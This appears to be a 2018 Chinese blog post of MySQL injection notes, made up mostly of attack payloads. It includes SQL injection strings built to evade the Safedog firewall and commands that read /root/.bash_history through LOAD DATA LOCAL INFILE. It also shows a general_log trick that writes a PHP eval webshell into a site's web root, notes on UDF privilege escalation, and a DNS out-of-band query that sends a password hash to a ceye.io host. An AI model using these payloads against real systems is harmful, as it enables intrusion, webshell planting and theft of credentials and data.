mysql小记

不管你是在研究什么事物,还是在思考任何观点,请只问你自己‘事实是什么’以及事实所证实的真理是什么。永远不要让自己被自己所更愿意相信的,或你认为人们相信了之后会对社会更加有益的东西所影响,只是简单的去审视,什么才是事实。–罗素

sql Bypass dog

步骤


测试是否存在

and 1=1 绕过 %26%26 1 like 1 %26%26 1 in(1)

通常 order by 不会拦截

order by组合中间有空格才拦截,空格替换 /**/ 直接绕过

/!order/by 2 order%23%0aby 1

/**/被拦 中间加字母与 ‘ ; [] ~ 等

asp允许在每个字符前加% 如 union sel%ect

参数污染

以下最新测试union可以Bypass dog(2018.4.1)


	原始语句
	select user()
	查user Bypass
	http://127.0.0.1/2.php?id=1/*!union/*!/*!*//*!select/*!/*!*//*!user/*!/*!()*/,2    
	查database
	http://127.0.0.1/2.php?id=1/*!union/*!/*!/*!select/*!/*!*//*!user/*!/*!/*!/*!()*/,/*!/*!/*!database/*!/*!/*!/*!()*/
	查表名
	union select group_concat(table_name) ,NULL from information_schema.tables where table_schema=database() 
	http://127.0.0.1/2.php?id=1/*!/*!/*!/*!UNION/*!/*!*//*!/*!/*!SELECT/*!/*!*//*!group_concat(table_name)/*!/*!*/,NULL/*!from/*!/*!*//*!information_schema.tables/*!/*!*//*!where/*!/*!*//*!table_schema=/*!/*!*//*!database/*!/*!()*/
	union select group_concat(column_name) ,NULL from information_schema.columns where table_name = ""
	查列名
	http://127.0.0.1/2.php?id=1/*!/*!/*!/*!UNION/*!/*!*//*!/*!/*!SELECT/*!/*!*//*!group_concat(column_name)/*!/*!*/,NULL/*!from/*!/*!*//*!information_schema.columns/*!/*!*//*!where/*!/*!*//*!table_name=""*/
	查值
	http://127.0.0.1/2.php?id=1/*!/*!/*!/*!UNION/*!/*!*//*!/*!/*!SELECT/*!/*!*//*!group_concat(concat(id,0x2c,content))/*!/*!*/,NULL/*!from/*!/*!table*/

group_concat与concat区别

FUZZ


借用从容大牛观点 以下[]为fuzz点。

select * from data where id=1 [] union [] select [] pwd [] from [] pwd

innodb_table_stats查表


innodb从5.5开始成为默认引擎 mysql 5.6有mysql库中有innodb_index_stats,innodb_table_stats表, innodb_index_stats存储着innodb引擎的库名,表名,对应索引 innodb_table_stats存储着innodb引擎的库名,表名 以下payload可查表名,

select table_name from mysql.innodb_table_stats where database_name = database()

低权限读文件


如果没有权限,mysql还有个低权限读文件漏洞,/etc/shadow /root/.bash_history都可以读出来。

MYSQL 5.5.53
drop table mysql.m1
CREATE TABLE mysql.m1 (code TEXT );
LOAD DATA LOCAL INFILE '/root/.bash_history' INTO TABLE mysql.m1 fields terminated by ''
select * from mysql.m1

mysql主键重复报错原理


rand&group by&count缺一不可
rand(0)每次查询一样
floor(rand(0)*2)取整如下

select count() from runoob group by floor(rand(0)2);
floor(rand(0)*2)计算结果为 011011…
在使用group by时,查询有rand()会被执行多次,如果建的虚表中不存在,则在再次执行。
查询流程:

  1. 建立虚表

key | count(*) —- | —-

  1. 执行floor(rand(0)*2) 为0表中没,再次执行结果为1插入
key count(*)
1 1
  1. 第一次计算为1,不进行2次计算,count(*)+1
key count(*)
1 2
  1. 计算为0,没有0,尝试插入,在插入时再次计算结果作为虚表主键,值为1冲突。

mysql写shell


5.5,5.7通过log写。

小于5.5且secure_file_priv不为NULL,通过load_file() into dumpfile写。

udf提权

原因


secure_file_priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

MySQL5.5版本:my.ini中无此参数,查询该参数情况为NULL

MySQL5.6版本:my.ini中无此参数,查询该参数情况为空

MySQL5.7版本:my.ini中有此参数,查询该参数情况为数据目录下的Upload文件夹

通过show variables like ‘%secure%’;查看参数情况,参数可在my.ini中改,重启生效。

dumpfile和oufile区别


into outfile 函数会在行末端写入新行,是会转义换行符

这样的话这个2进制可执行文件就会被破坏,即格式化的数据。

into dumpfile 就能导出一个完整能执行的2进制文件

udf提权5.5版本默认没plugin目录,使用NTFS的ADS流创建(试了没成功)

select 'aa' into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\plugin::$INDEX_ALLOCATION';		//利用NTFS ADS创建plugin目录  
select 'aa' into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib::$INDEX_ALLOCATION';    //利用NTFS ADS创建lib目录  

通过general_log,general_log_file写shell。

置general为ON,general_log_file记录执行语句,执行包含的payload即可.

具体过程如下:

show variables like '%general%';查看默认日志位置
set global general_log = on;
set global general_log_file = 'C:/Program Files (x86)/Apache Software Foundation/Apache2.2/htdocs/abouts.php'; 指定为目标网站的物理路径
select '<?php eval($_POST[aaa]);?>'; 写shell
还原:
set global general_log_file = 'C:\ProgramData\MySQL\MySQL Server 5.5\Data\2018R2DC.log';
set global general_log = off;  

sql OOB


原理:dns查询带出数据

win利用

UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。CONCAT()函数4个\,因为转义的原因,4个就变\成了2个\,目的就是利用UNC路径。

payload

	select load_file(CONCAT('\\\\',(SELECT hex(pass) 
	FROM test WHERE name='admin'),'.uudjoj.ceye.io\\ff'))

Dnslog平台http://ceye.io

Written on April 5, 2018